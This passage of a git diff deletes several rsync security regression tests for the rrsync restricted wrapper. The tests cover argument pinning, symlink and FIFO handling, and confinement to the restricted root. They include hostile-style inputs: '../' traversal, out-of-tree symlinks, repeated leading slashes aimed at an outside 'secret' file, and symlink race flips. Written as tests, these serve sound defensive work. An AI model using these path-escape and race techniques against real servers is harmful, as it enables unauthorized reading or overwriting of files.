'\n-    f'rc={plain.returncode}, stderr={plain.stderr!r}')\ndiff --git a/testsuite/rrsync-pull-arg-shapes_test.py b/testsuite/rrsync-pull-arg-shapes_test.py\ndeleted file mode 100644\nindex f359f70..0000000\n--- a/testsuite/rrsync-pull-arg-shapes_test.py\n+++ /dev/null\n@@ -1,220 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Every pull argument shape through rrsync must deliver what it names.\n-\n-rrsync inode-pins each validated argument so the exec'd rsync cannot be\n-race-flipped between realpath() and resolution.  Which pin is usable depends on\n-what rsync does with the argument, and getting that wrong is silent: the\n-transfer \"succeeds\" while delivering nothing, or delivers the file under the\n-wrong name.\n-\n-That is exactly what happened when the pin was first added -- of the shapes\n-below only \"dir-slash\" survived, because it is the one rsync opens rather than\n-lstat()s.  Nothing covered --relative at all, so its breakage went unnoticed\n-too.\n-\n-Each case asserts the delivered tree, which is the user-visible contract and is\n-independent of which pin the implementation chooses.\n-\"\"\"\n-\n-import os\n-import shlex\n-import stat\n-import subprocess\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, forced_protocol, makepath, patched_rrsync, rmtree,\n-    rsync_argv, test_fail, rsync_path_arg,\n-)\n-\n-base = SCRATCHDIR / 'rrsync-arg-shapes'\n-rmtree(base)\n-restricted = base / 'restricted'\n-dest = base / 'dest'\n-makepath(restricted / 'sub' / 'deep', dest)\n-\n-(restricted / 'f1').write_text('TOP\\n')\n-(restricted / 'sub' / 'deep' / 'f2').write_text('DEEP\\n')\n-# An in-tree directory symlink, the ordinary way to publish a path under\n-# another name. Reaching through it must keep working.\n-os.symlink('sub/deep', restricted / 'alias')\n-# A file reachable only by name: search permission on the parent, no read.\n-# rrsync must not need to list a directory just to pin it.\n-# A FIFO and a dangling symlink: rsync only needs to describe these, never to\n-# open them.  Opening a FIFO blocks for a writer, and resolving a dangling link\n-# reaches nothing -- both wedged or failed the pull until the pin learned to\n-# leave them alone.\n-os.mkfifo(restricted / 'afifo')\n-os.symlink('missing-sibling', restricted / 'dangling')\n-os.symlink('f1', restricted / 'goodlink')\n-\n-xonly = restricted / 'xonly'\n-xonly.mkdir()\n-(xonly / 'f3').write_text('XONLY\\n')\n-xonly.chmod(0o111)\n-\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-\n-rrsync = patched_rrsync(base, rsync_path=str(shim))\n-\n-rsh = base / 'fake-rsh'\n-rsh.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s %s\\n' % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh.chmod(0o755)\n-\n-\n-def pull(*args):\n-    rmtree(dest)\n-    dest.mkdir()\n-    proc = subprocess.run(rsync_argv('-a', '-e', str(rsh), *args,\n-                                     str(dest) + '/'),\n-                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                          text=True)\n-    got = sorted(str(p.relative_to(dest)) for p in dest.rglob('*'))\n-    return proc, got\n-\n-\n-# What every deliverable name must BE.  Comparing names alone is not enough:\n-# an empty directory called \"f1\", or a correctly-named symlink carrying no\n-# data, satisfies a name-only expectation -- and a symlink with no data is\n-# exactly what handing the sender a procfs magic link produced.\n-KINDS = {\n-    'f1':          ('reg', 'TOP\\n'),\n-    'f2':          ('reg', 'DEEP\\n'),\n-    'f3':          ('reg', 'XONLY\\n'),\n-    'deep':        ('dir', None),\n-    'deep/f2':     ('reg', 'DEEP\\n'),\n-    'sub':         ('dir', None),\n-    'sub/deep':    ('dir', None),\n-    'sub/deep/f2': ('reg', 'DEEP\\n'),\n-    'dangling':    ('sym', 'missing-sibling'),\n-    'goodlink':    ('sym', 'f1'),\n-}\n-\n-\n-def describe(path):\n-    if path.is_symlink():\n-        return 'a symlink to %r' % os.readlink(path)\n-    if path.is_dir():\n-        return 'a directory'\n-    if path.is_file():\n-        return 'a regular file'\n-    return 'neither a file, a directory nor a symlink'\n-\n-\n-def check_kinds(label, names, ctx):\n-    for name in names:\n-        want = KINDS.get(name)\n-        if want is None:\n-            test_fail(f'{label}: delivered {name!r}, which has no entry in '\n-                      'KINDS, so nothing checked what it is -- add one')\n-        kind, detail = want\n-        path = dest / name\n-        if kind == 'sym':\n-            if not path.is_symlink():\n-                test_fail(f'{label}: {name} should be a symlink, got '\n-                          f'{describe(path)} ({ctx})')\n-            if os.readlink(path) != detail:\n-                test_fail(f'{label}: {name} points at {os.readlink(path)!r}, '\n-                          f'expected {detail!r} ({ctx})')\n-        elif kind == 'dir':\n-            if path.is_symlink() or not path.is_dir():\n-                test_fail(f'{label}: {name} should be a directory, got '\n-                          f'{describe(path)} ({ctx})')\n-        elif kind != 'reg':\n-            # Closed schema: a mistyped token must not fall through to the\n-            # regular-file arm and quietly assert the wrong thing.\n-            test_fail(f'{label}: {name} has unknown kind {kind!r} in KINDS')\n-        else:\n-            if path.is_symlink() or not path.is_file():\n-                test_fail(f'{label}: {name} should be a regular file, got '\n-                          f'{describe(path)} ({ctx})')\n-            if path.read_text() != detail:\n-                test_fail(f'{label}: {name} holds {path.read_text()!r}, '\n-                          f'expected {detail!r} ({ctx})')\n-\n-\n-# Expectations are what a pristine 3.4.4 rrsync delivers for the same command.\n-CASES = [\n-    ('file',          ['dummy:f1'],                       ['f1']),\n-    ('deep file',     ['dummy:sub/deep/f2'],              ['f2']),\n-    ('dir',           ['dummy:sub'],                      ['sub', 'sub/deep', 'sub/deep/f2']),\n-    ('dir + slash',   ['dummy:sub/'],                     ['deep', 'deep/f2']),\n-    ('dir + /.',      ['dummy:sub/.'],                    ['deep', 'deep/f2']),\n-    ('-R deep file',  ['-R', 'dummy:sub/deep/f2'],        ['sub', 'sub/deep', 'sub/deep/f2']),\n-    ('-R dir + slash',['-R', 'dummy:sub/'],               ['sub', 'sub/deep', 'sub/deep/f2']),\n-    ('-R client /./', ['-R', 'dummy:sub/./deep/f2'],      ['deep', 'deep/f2']),\n-    # A marker with nothing after it means \"start the transmitted name here\",\n-    # so the argument's own directory name must NOT appear in the result.\n-    ('-R terminal /./',   ['-R', 'dummy:sub/./'],          ['deep', 'deep/f2']),\n-    ('-R terminal /./.',  ['-R', 'dummy:sub/./.'],         ['deep', 'deep/f2']),\n-    # An in-tree directory symlink as the argument's parent is ordinary and\n-    # must keep working; pinning it must not refuse to follow it.\n-    ('symlinked parent',  ['dummy:alias/f2'],              ['f2']),\n-    ('-R symlinked parent', ['-R', 'dummy:alias/./f2'],    ['f2']),\n-]\n-\n-# At protocol 29 the receiver rejects \"-R --no-implied-dirs\" with \"invalid path\n-# from sender\" and transfers nothing.  That is rsync's own behaviour, not the\n-# wrapper's -- a pristine 3.4.4 rrsync fails identically -- so only assert the\n-# case where it means something.\n-if forced_protocol() is None or forced_protocol() >= 30:\n-    CASES.append(\n-    ('-R no-implied', ['-R', '--no-implied-dirs', 'dummy:sub/deep/f2'],\n-                                                          ['sub', 'sub/deep', 'sub/deep/f2']))\n-\n-CASES += [\n-    ('search-only parent', ['dummy:xonly/f3'],            ['f3']),\n-    # These three are what a pristine 3.4.4 rrsync delivers for the same args.\n-    ('dangling symlink',   ['dummy:dangling'],            ['dangling']),\n-    ('symlink to a file',  ['dummy:goodlink'],            ['goodlink']),\n-    ('two args',      ['dummy:f1', 'dummy:sub/deep/f2'],  ['f1', 'f2']),\n-]\n-\n-for label, argv, expect in CASES:\n-    proc, got = pull(*argv)\n-    ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:200]!r}'\n-    if got != expect:\n-        test_fail(f'{label}: delivered {got}, expected {expect} ({ctx})')\n-    check_kinds(label, got, ctx)\n-    if proc.returncode != 0:\n-        test_fail(f'{label}: delivered the right tree but failed ({ctx})')\n-\n-# A FIFO must not WEDGE the wrapper.  The pin used to open every validated path\n-# O_RDONLY, and opening a FIFO blocks until a writer appears, so naming one hung\n-# rrsync before exec and an authorised user could pile up stuck processes.\n-#\n-# It must also arrive.  rrsync denies device/special CREATION on the receiving\n-# side only, so a pull carries the client's own -D and delivers the FIFO, which\n-# is what a pristine 3.4.4 rrsync does.  While --no-D was forced here too, the\n-# file list desynchronised -- the sender omitted the rdev fields the client's\n-# receiver still read -- and this could assert nothing beyond \"did not hang\":\n-# it overflowed at protocol 29/30 and, as root, deadlocked instead.\n-rmtree(dest)\n-dest.mkdir()\n-try:\n-    proc = subprocess.run(rsync_argv('-a', '-e', str(rsh), 'dummy:afifo',\n-                                     str(dest) + '/'),\n-                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                          text=True, timeout=60)\n-except subprocess.TimeoutExpired:\n-    test_fail('pulling a FIFO hung: either the wrapper opened it and blocked '\n-              'for a writer, or the file list desynchronised and both ends '\n-              'stalled')\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:200]!r}'\n-if proc.returncode != 0:\n-    test_fail(f'pulling a FIFO failed ({ctx})')\n-if not stat.S_ISFIFO(os.lstat(dest / 'afifo').st_mode):\n-    test_fail(f'pulling a FIFO delivered {describe(dest / \"afifo\")} ({ctx})')\n-\n-# The kinds, the symlink targets and the file contents are asserted by\n-# check_kinds() on every case above, rather than spot-checked on a few here.\n-\n-xonly.chmod(0o755)\n-\n-print(f'rrsync delivers all {len(CASES)} pull argument shapes')\ndiff --git a/testsuite/rrsync-pull-delivers-content_test.py b/testsuite/rrsync-pull-delivers-content_test.py\ndeleted file mode 100644\nindex 4947a58..0000000\n--- a/testsuite/rrsync-pull-delivers-content_test.py\n+++ /dev/null\n@@ -1,105 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A pull through rrsync must deliver the file's CONTENT.\n-\n-rrsync inode-pins each validated transfer argument and rewrites the argument to\n-/proc/self/fd/N so the exec'd rsync re-resolves it to the pinned inode.  That is\n-right for the receiver, which plain-open()s its destination -- but the sender\n-never plain-opens the transfer argument: send_file_list() lstat()s it, and\n-lstat() of a /proc/self/fd magic link always reports S_IFLNK.  So the sender\n-described the argument as a symlink instead of sending the file.\n-\n-The observable damage depends on how much the receiver checks.  It has been seen\n-both as a delivered dangling symlink holding the server's absolute in-tree path\n-and no content, and -- with the current receiver's file-list name check -- as an\n-outright refusal:\n-\n-    ERROR: rejecting unrequested file-list name: 4\n-\n-Either way the canonical `rsync -a host:file dest/` through a restricted account\n-does not deliver the file, so this asserts the user-visible outcome (content\n-arrives, as a regular file) rather than any one symptom.\n-\n-The push case is checked too: the fix must not be achievable by abandoning the\n-receiver-side pinning that the same code does for real.\n-\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, test_fail, rsync_path_arg,\n-)\n-\n-PULL_DATA = 'REAL-FILE-CONTENT\\n'\n-PUSH_DATA = 'PUSHED-FILE-CONTENT\\n'\n-\n-base = SCRATCHDIR / 'rrsync-pull-content'\n-rmtree(base)\n-restricted = base / 'restricted'\n-dest = base / 'dest'\n-src = base / 'src'\n-makepath(restricted, dest, src)\n-\n-(restricted / 'f1').write_text(PULL_DATA)\n-(src / 'up1').write_text(PUSH_DATA)\n-# rrsync refuses a --sender arg that does not already exist, so the push target\n-# directory has to be there before the transfer.\n-makepath(restricted / 'inbox')\n-\n-# $RSYNC may carry a wrapper (valgrind, --protocol=N); rrsync wants a single\n-# executable, so hand it a shim that re-expands the whole command line.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-\n-rrsync = patched_rrsync(base, rsync_path=str(shim))\n-\n-# Stand in for ssh: drop the host argument and pass the rest to rrsync exactly\n-# as sshd would, through SSH_ORIGINAL_COMMAND.\n-rsh = base / 'fake-rsh'\n-rsh.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s %s\\n' % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh.chmod(0o755)\n-\n-\n-def transfer(*args):\n-    return subprocess.run(rsync_argv('-a', '-e', str(rsh), *args),\n-                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                          text=True)\n-\n-\n-# --- the regression: a plain pull of a file ---------------------------------\n-proc = transfer('dummy:f1', str(dest) + '/')\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-got = dest / 'f1'\n-\n-if got.is_symlink():\n-    test_fail(f'pull delivered a symlink instead of the file: '\n-              f'{os.readlink(got)!r} ({ctx})')\n-if not got.exists():\n-    test_fail(f'pull delivered nothing ({ctx})')\n-if not got.is_file():\n-    test_fail(f'pull delivered a non-regular file ({ctx})')\n-if got.read_text() != PULL_DATA:\n-    test_fail(f'pull delivered the wrong content: {got.read_text()!r} ({ctx})')\n-if proc.returncode != 0:\n-    test_fail(f'pull delivered the content but failed ({ctx})')\n-\n-# --- control: the receiver direction still works ----------------------------\n-# Without this, \"stop handing the sender a pinned fd\" could be satisfied by\n-# dropping the pinning altogether, which is the hardening this must preserve.\n-proc = transfer(str(src) + '/up1', 'dummy:inbox/')\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-landed = restricted / 'inbox' / 'up1'\n-\n-if proc.returncode != 0:\n-    test_fail(f'push through rrsync failed ({ctx})')\n-if not landed.is_file() or landed.read_text() != PUSH_DATA:\n-    test_fail(f'push did not deliver the content ({ctx})')\n-\n-print('rrsync pull delivers file content; push still works')\ndiff --git a/testsuite/rrsync-receiver-file-arg_test.py b/testsuite/rrsync-receiver-file-arg_test.py\ndeleted file mode 100644\nindex ef757f6..0000000\n--- a/testsuite/rrsync-receiver-file-arg_test.py\n+++ /dev/null\n@@ -1,148 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Receiver file arguments must remain beneath a pinned parent.\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, patched_rrsync, proc_self_fd_pins, rmtree,\n-    rsync_argv, test_fail, test_skipped,\n-)\n-\n-if not proc_self_fd_pins():\n-    test_skipped('requires /proc/self/fd directory pins')\n-\n-base = SCRATCHDIR / 'rrsync-receiver-file'\n-rmtree(base)\n-restricted = base / 'restricted'\n-outside = base / 'outside'\n-source = base / 'source'\n-downloads = base / 'downloads'\n-makepath(restricted, outside, downloads)\n-source.write_text('replacement contents\\n')\n-\n-# The optional gate pauses the real server after rrsync validates its argument.\n-shim = base / 'rsync-shim'\n-shim.write_text('''#!/usr/bin/env python3\n-import os, pathlib, sys, time\n-ready = os.environ.get('RRSYNC_TEST_READY')\n-if ready:\n-    pathlib.Path(ready).touch()\n-    go = pathlib.Path(os.environ['RRSYNC_TEST_GO'])\n-    end = time.monotonic() + 10\n-    while not go.exists():\n-        if time.monotonic() >= end:\n-            sys.exit('timed out waiting for test gate')\n-        time.sleep(0.01)\n-cmd = %r\n-os.execvp(cmd[0], cmd + sys.argv[1:])\n-''' % rsync_argv())\n-shim.chmod(0o755)\n-rrsync = patched_rrsync(base, rsync_path=str(shim))\n-rsh = base / 'fake-rsh'\n-rsh.write_text('#!/bin/sh\\nshift\\nSSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-               'export SSH_ORIGINAL_COMMAND\\nexec %s -no-lock %s\\n'\n-               % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh.chmod(0o755)\n-\n-\n-def command(src, dest, *options):\n-    return rsync_argv('-ac', '-e', str(rsh), *options, str(src), str(dest))\n-\n-\n-def transfer(src, dest, *options, succeeds=True):\n-    proc = subprocess.run(command(src, dest, *options), capture_output=True,\n-                          text=True, timeout=20)\n-    if (proc.returncode == 0) != succeeds:\n-        test_fail(f'transfer {src} -> {dest}: rc={proc.returncode}, '\n-                  f'{proc.stdout!r} {proc.stderr!r}')\n-    return proc\n-\n-\n-def check_contents(path):\n-    if path.is_symlink() or not path.is_file() or path.read_text() != source.read_text():\n-        test_fail(f'wrong file contents or type: {path}')\n-\n-\n-for option in ((), ('--inplace',)):\n-    destination = restricted / 'existing'\n-    destination.write_text('old\\n')\n-    transfer(source, 'dummy:existing', *option)\n-    check_contents(destination)\n-    new = restricted / 'new'\n-    new.unlink(missing_ok=True)\n-    transfer(source, 'dummy:new', *option)\n-    check_contents(new)\n-\n-makepath(restricted / 'directory')\n-transfer(source, 'dummy:directory/')\n-check_contents(restricted / 'directory' / source.name)\n-transfer('dummy:existing', str(downloads) + '/')\n-check_contents(downloads / 'existing')\n-\n-marker = outside / 'untouched'\n-marker.write_text('outside fixture\\n')\n-transfer(source, 'dummy:../outside/untouched', succeeds=False)\n-(restricted / 'outside-link').symlink_to(outside, target_is_directory=True)\n-transfer(source, 'dummy:outside-link/untouched', succeeds=False)\n-if marker.read_text() != 'outside fixture\\n':\n-    test_fail('a rejected destination changed the outside fixture')\n-\n-\n-def gated_transfer(name, change):\n-    ready = base / 'ready'\n-    go = base / 'go'\n-    ready.unlink(missing_ok=True)\n-    go.unlink(missing_ok=True)\n-    env = {**os.environ, 'RRSYNC_TEST_READY': str(ready), 'RRSYNC_TEST_GO': str(go)}\n-    proc = subprocess.Popen(command(source, f'dummy:{name}', '--inplace'),\n-                            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n-                            text=True, env=env)\n-    try:\n-        end = time.monotonic() + 10\n-        while not ready.exists():\n-            if proc.poll() is not None or time.monotonic() >= end:\n-                test_fail('receiver did not reach the post-validation gate')\n-            time.sleep(0.01)\n-        change()\n-        go.touch()\n-        stdout, stderr = proc.communicate(timeout=20)\n-        if marker.read_text() != 'outside fixture\\n':\n-            test_fail(f'in-place transfer changed the outside fixture: {stdout} {stderr}')\n-        return proc.returncode\n-    finally:\n-        if proc.poll() is None:\n-            proc.kill()\n-            proc.communicate()\n-\n-\n-leaf = restricted / 'raced-leaf'\n-leaf.write_text('old\\n')\n-\n-\n-def replace_leaf():\n-    leaf.unlink()\n-    leaf.symlink_to(marker)\n-\n-\n-rc = gated_transfer('raced-leaf', replace_leaf)\n-if rc == 0:\n-    check_contents(leaf)\n-\n-parent = restricted / 'raced-parent'\n-makepath(parent)\n-(parent / 'untouched').write_text('old\\n')\n-saved_parent = restricted / 'saved-parent'\n-\n-\n-def replace_parent():\n-    parent.rename(saved_parent)\n-    parent.symlink_to(outside, target_is_directory=True)\n-\n-\n-if gated_transfer('raced-parent/untouched', replace_parent) == 0:\n-    check_contents(saved_parent / 'untouched')\n-\n-print('rrsync receiver file overwrite, creation, directory, pull and path checks passed')\ndiff --git a/testsuite/rrsync-root-relative-paths_test.py b/testsuite/rrsync-root-relative-paths_test.py\ndeleted file mode 100644\nindex 56ddbf8..0000000\n--- a/testsuite/rrsync-root-relative-paths_test.py\n+++ /dev/null\n@@ -1,128 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Leading slashes through rrsync must remain relative to the restricted root.\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv,\n-    rsync_path_arg, test_fail,\n-)\n-\n-T = 1234567890\n-\n-base = SCRATCHDIR / 'rrsync-root-relative-paths'\n-rmtree(base)\n-restricted = base / 'restricted'\n-source = base / 'source'\n-outside = base / 'outside'\n-pulled = base / 'pulled'\n-makepath(restricted / 'previous', source, outside, pulled)\n-\n-(restricted / 'previous' / 'file').write_text('unchanged\\n')\n-(source / 'file').write_text('unchanged\\n')\n-(outside / 'secret').write_text('outside\\n')\n-os.utime(restricted / 'previous' / 'file', (T, T))\n-os.utime(source / 'file', (T, T))\n-\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-rrsync = patched_rrsync(base, rsync_path=str(shim))\n-\n-rsh = base / 'fake-rsh'\n-rsh.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s %s\\n' % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh.chmod(0o755)\n-\n-rsh_absolute = base / 'fake-rsh-absolute'\n-rsh_absolute.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s -absolute %s\\n'\n-    % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh_absolute.chmod(0o755)\n-\n-\n-def run(*args):\n-    return subprocess.run(\n-        rsync_argv('-e', str(rsh), *args),\n-        capture_output=True, text=True, timeout=30,\n-    )\n-\n-\n-# A leading slash denotes the root of the restricted tree, not an empty path.\n-listed = run('--list-only', 'dummy:/')\n-listed_ctx = (f'rc={listed.returncode}, stdout={listed.stdout.strip()!r}, '\n-              f'stderr={listed.stderr.strip()!r}')\n-if listed.returncode != 0 or 'previous' not in listed.stdout:\n-    test_fail(f'listing the restricted root with / failed ({listed_ctx})')\n-\n-# Option operands use the same convention.  The basis is a sibling of the\n-# destination, so stripping the slash and leaving a relative name makes rsync\n-# look for destination/previous and silently transfer a full copy.\n-linked = run('-a', '--link-dest=/previous', str(source) + '/', 'dummy:/current')\n-linked_ctx = (f'rc={linked.returncode}, stdout={linked.stdout.strip()!r}, '\n-              f'stderr={linked.stderr.strip()!r}')\n-current = restricted / 'current' / 'file'\n-previous = restricted / 'previous' / 'file'\n-if linked.returncode != 0 or not current.is_file():\n-    test_fail(f'root-relative --link-dest transfer failed ({linked_ctx})')\n-current_stat = os.stat(current)\n-previous_stat = os.stat(previous)\n-if ((current_stat.st_dev, current_stat.st_ino)\n-        != (previous_stat.st_dev, previous_stat.st_ino)):\n-    test_fail(f'root-relative --link-dest did not hard-link to its basis '\n-              f'({linked_ctx})')\n-\n-# Repeated leading slashes have the same restricted-root meaning.  Assert the\n-# authorised path still works rather than satisfying confinement by rejecting\n-# every repeated-slash path.\n-repeated = run('-a', 'dummy:///previous/file', str(pulled) + '/')\n-if (repeated.returncode != 0\n-        or not (pulled / 'file').is_file()\n-        or (pulled / 'file').read_text() != 'unchanged\\n'):\n-    test_fail('repeated leading slashes did not resolve beneath the '\n-              f'restricted root (rc={repeated.returncode}, '\n-              f'stderr={repeated.stderr.strip()!r})')\n-\n-# The explicit -absolute mode continues to accept a complete server path under\n-# the restricted directory; root-relative handling must not reinterpret it.\n-rmtree(pulled)\n-pulled.mkdir()\n-absolute = subprocess.run(\n-    rsync_argv('-a', '-e', str(rsh_absolute),\n-               'dummy:' + str(restricted / 'previous' / 'file'),\n-               str(pulled) + '/'),\n-    capture_output=True, text=True, timeout=30,\n-)\n-if (absolute.returncode != 0\n-        or not (pulled / 'file').is_file()\n-        or (pulled / 'file').read_text() != 'unchanged\\n'):\n-    test_fail('-absolute no longer accepts an in-tree server path '\n-              f'(rc={absolute.returncode}, stderr={absolute.stderr.strip()!r})')\n-\n-# Repeated leading slashes must not regain host-root meaning in either transfer\n-# direction.  The requested path is the absolute spelling of a file outside\n-# the restricted tree; a vulnerable wrapper would read or replace that file.\n-outside_arg = '///' + str(outside / 'secret').lstrip('/')\n-rmtree(pulled)\n-pulled.mkdir()\n-escaped_pull = run('-a', 'dummy:' + outside_arg, str(pulled) + '/')\n-if (pulled / 'secret').exists():\n-    test_fail('repeated leading slashes escaped the restricted root on pull')\n-\n-replacement = base / 'replacement'\n-replacement.write_text('replacement\\n')\n-escaped_push = run('-a', str(replacement), 'dummy:' + outside_arg)\n-if (outside / 'secret').read_text() != 'outside\\n':\n-    test_fail('repeated leading slashes escaped the restricted root on push')\n-\n-print('rrsync preserves restricted-root paths without repeated-slash escapes')\ndiff --git a/testsuite/rrsync-sender-leaf-flip_test.py b/testsuite/rrsync-sender-leaf-flip_test.py\ndeleted file mode 100644\nindex e228fcc..0000000\n--- a/testsuite/rrsync-sender-leaf-flip_test.py\n+++ /dev/null\n@@ -1,136 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A raced LAST component must not leak outside content through an rrsync pull.\n-\n-rrsync inode-pins the components above a sender argument's last one, but not\n-always the last one itself: rsync lstat()s a source argument, and lstat of a\n-/proc/self/fd magic link is always S_IFLNK, so handing it the leaf's pin makes\n-the sender describe the argument as a symlink and send no data at all (see\n-rrsync-pull-delivers-content).\n-\n-What keeps that safe is rsync's own behaviour rather than the wrapper's:\n-\n-  * a symlink at a plain source argument is transmitted AS a symlink -- the\n-    sender does not read through it;\n-  * the options that would change that (-L, -k, --copy-unsafe-links) are\n-    disabled by rrsync for a restricted dir, and --insecure-links is not in its\n-    allowlist at all;\n-  * the sender's own opens are O_NOFOLLOW, and directories go through\n-    secure_opendir(), so a flip landing between rsync's lstat() and its open is\n-    refused by the kernel.\n-\n-So this drives the real binary and asserts the property that actually holds --\n-no outside CONTENT reaches the client -- rather than requiring a particular\n-symptom from a race that may or may not be won on any given run.\n-\n-Note what is NOT claimed: an outside symlink's target string can still be\n-disclosed, since transmitting the symlink is the correct behaviour for the\n-shape. rrsync's -munge blunts that. Under --relative the argument is anchored\n-higher, so the intermediate components are exposed to the same window; that is\n-a known limitation of the wrapper, recorded in the plan notes, not something\n-this test asserts away.\n-\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    race_budget, RSYNC, SCRATCHDIR, makepath, patched_rrsync,\n-    proc_self_fd_pins, rmtree, rsync_argv, start_path_flipper, stop_flipper,\n-    test_fail, test_skipped, rsync_path_arg,\n-)\n-\n-if not proc_self_fd_pins():\n-    test_skipped(\"rrsync's realpath-vs-exec inode-pin needs /proc/self/fd \"\n-                 \"(Linux); unhardened fallback elsewhere by design\")\n-\n-MARKER = 'AUDIT_RRSYNC_LEAF_FLIP_MARKER_DO_NOT_DISCLOSE'\n-\n-base = SCRATCHDIR / 'rrsync-leaf-flip'\n-rmtree(base)\n-restricted = base / 'restricted'\n-outside = base / 'outside'\n-dest = base / 'dest'\n-makepath(restricted, outside / 'dir', dest)\n-\n-(outside / 'secret').write_text(MARKER + '\\n')\n-(outside / 'dir' / 'loot').write_text(MARKER + '\\n')\n-\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-\n-rrsync = patched_rrsync(base, rsync_path=str(shim))\n-\n-rsh = base / 'fake-rsh'\n-rsh.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s -ro %s\\n' % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh.chmod(0o755)\n-\n-\n-def leaked_content():\n-    \"\"\"True if any delivered regular file holds the outside marker.\"\"\"\n-    for path in dest.rglob('*'):\n-        if path.is_file() and not path.is_symlink():\n-            try:\n-                if MARKER in path.read_text():\n-                    return str(path.relative_to(dest))\n-            except (OSError, UnicodeDecodeError):\n-                pass\n-    return None\n-\n-\n-def race_pull(source, real_name, evil_name):\n-    flip = start_path_flipper(real_name, evil_name)\n-    try:\n-        deadline = time.monotonic() + race_budget()\n-        while time.monotonic() < deadline:\n-            rmtree(dest)\n-            dest.mkdir()\n-            subprocess.run(rsync_argv('-a', '-e', str(rsh), source,\n-                                      str(dest) + '/'),\n-                           stdout=subprocess.DEVNULL,\n-                           stderr=subprocess.DEVNULL)\n-            got = leaked_content()\n-            if got:\n-                return got\n-    finally:\n-        stop_flipper(flip)\n-    return None\n-\n-\n-# --- a plain file argument whose leaf flips to an outside symlink ------------\n-real_file = restricted / 'target'\n-real_file.write_text('benign_in_tree_content\\n')\n-evil_file = restricted / 'evil'\n-os.symlink(str(outside / 'secret'), evil_file)\n-\n-got = race_pull('dummy:target', real_file, evil_file)\n-if got:\n-    test_fail(f'a raced leaf flip leaked outside content to {got!r}: the '\n-              'sender read through a symlink substituted at the source '\n-              'argument after rrsync validated it')\n-\n-rmtree(real_file)\n-rmtree(evil_file)\n-\n-# --- a trailing-slash directory, which rsync DOES follow ---------------------\n-# This shape keeps the leaf pin precisely because rsync opens it rather than\n-# lstat()ing it; without the pin the flip below transfers outside/dir/loot.\n-real_dir = restricted / 'dir'\n-makepath(real_dir)\n-(real_dir / 'ok').write_text('benign\\n')\n-evil_dir = restricted / 'evildir'\n-os.symlink(str(outside / 'dir'), evil_dir)\n-\n-got = race_pull('dummy:dir/', real_dir, evil_dir)\n-if got:\n-    test_fail(f'a raced trailing-slash directory flip leaked outside content '\n-              f'to {got!r}: the leaf pin did not hold')\n-\n-print('rrsync sender pulls leak no outside content when the last component is raced')\ndiff --git a/testsuite/rrsync-sender-parent-pin_test.py b/testsuite/rrsync-sender-parent-pin_test.py\ndeleted file mode 100644\nindex a1a09fe..0000000\n--- a/testsuite/rrsync-sender-parent-pin_test.py\n+++ /dev/null\n@@ -1,184 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A sender leaf rrsync never opens must still resolve beneath a pinned parent.\n-\n-rrsync deliberately does not content-open a sender argument whose leaf is not a\n-regular file or a directory: O_RDONLY on a FIFO blocks until a writer appears,\n-and a dangling symlink resolves to nothing.  What it must NOT do is then hand\n-rsync the bare name, because every component goes back into play and a parent\n-flipped after the 